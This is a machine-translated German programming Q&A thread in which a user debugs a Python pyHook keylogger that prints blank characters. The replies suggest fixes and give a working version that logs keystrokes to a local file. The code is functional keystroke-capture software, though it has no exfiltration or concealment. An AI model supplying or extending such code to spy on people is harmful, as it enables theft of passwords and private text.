2016-08-05 7 views
0

Ich schrieb einen Keylogger, aber es druckt nicht richtig. Wenn ich es erzähle, das Ereignis zu drucken, ASCII-decodiert (print(event.Ascii)), druckt es den numerischen ASCII-Wert für diesen Schlüssel aus. Aber wenn ich es erzähle print(chr(event.Ascii)) druckt es nur eine leere Zeile. Warum ist das und wie repariere ich es?ASCII chr() druckt nichts

Voll Code:

import pyHook, pythoncom, sys, logging 

file_log = "log.txt" 

def OnKeyboardEvent(event): 
    logging.basicConfig(filename=file_log, level=logging.DEBUG,format='%(message)s') 
    chr(event.Ascii) 
    logging.log(10, chr(event.Ascii)) 
    print(chr(event.Ascii)) 
    return True 

hooks_manager = pyHook.HookManager() 
hooks_manager.KeyDown = OnKeyboardEvent 
hooks_manager.HookKeyboard() 
pythoncom.PumpMessages() 
+1

Versuchen Sie 'print (chr (int (event.Ascii)))'. –

+0

Das bringt einige Fortschritte. Ich habe mit der Enter-Taste, der Leertaste und der A-Taste getestet und alle haben eine kleine Box zurückgegeben, die wie eine kleinere Version aussieht: [] – doejs

+0

Probiere 'print (chr (int (str (event.Ascii)))) '. Ich hätte das vorher vorschlagen sollen. –

Antwort

0

Das ist für mich gearbeitet:

import pyHook 
import pythoncom 
import time 

log = open('log.txt', 'w') 
result = '' 
def OnKeyboardEvent(event): 
    global result 
    if event.Ascii != 13: 
     result += chr(event.Ascii) 
    else: 
     log.write("%s\r\n" % result) 
     log.flush() 
     result = '' 
    return True 

hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
hm.HookKeyboard() 
try: 
    while True: 
     pythoncom.PumpWaitingMessages() 
     time.sleep(0.01) 
except KeyboardInterrupt: 
    print "Keyboard interrupt" 

Er schrieb Textzeilen in die Protokolldatei. Es hat den zusätzlichen Vorteil, dass es von Ctrl+C gestoppt werden kann. Ich bin mir nicht sicher, warum dein Code nicht funktioniert. Sie könnten jedoch das Skript example.py ausprobieren, das mit pyHook geliefert wird.

HINWEIS: Normalerweise würde ich mich sehr bemühen, um die Verwendung einer globalen Variablen zu vermeiden, aber das machte den Code kürzer.

+0

Das hat nichts für mich gedruckt. . . Vielleicht liegt es daran, dass ich ein Keylogger-Tutorial für Python 2.x verwendet habe, aber ich habe Python 3.x? – doejs

+0

Welche Version von Python 3 verwenden Sie? Hast du die Version von pyHook installiert, die deiner Python-Version entspricht? Ich musste die 2.7-Version von pyHook installieren, um es mit Python 2.7 zu verwenden. –

+0

Ich benutze Python 3.5.2 und ich habe pyHook 1.5.1 glaube ich. . . die richtige Version für ython 3.5.2 – doejs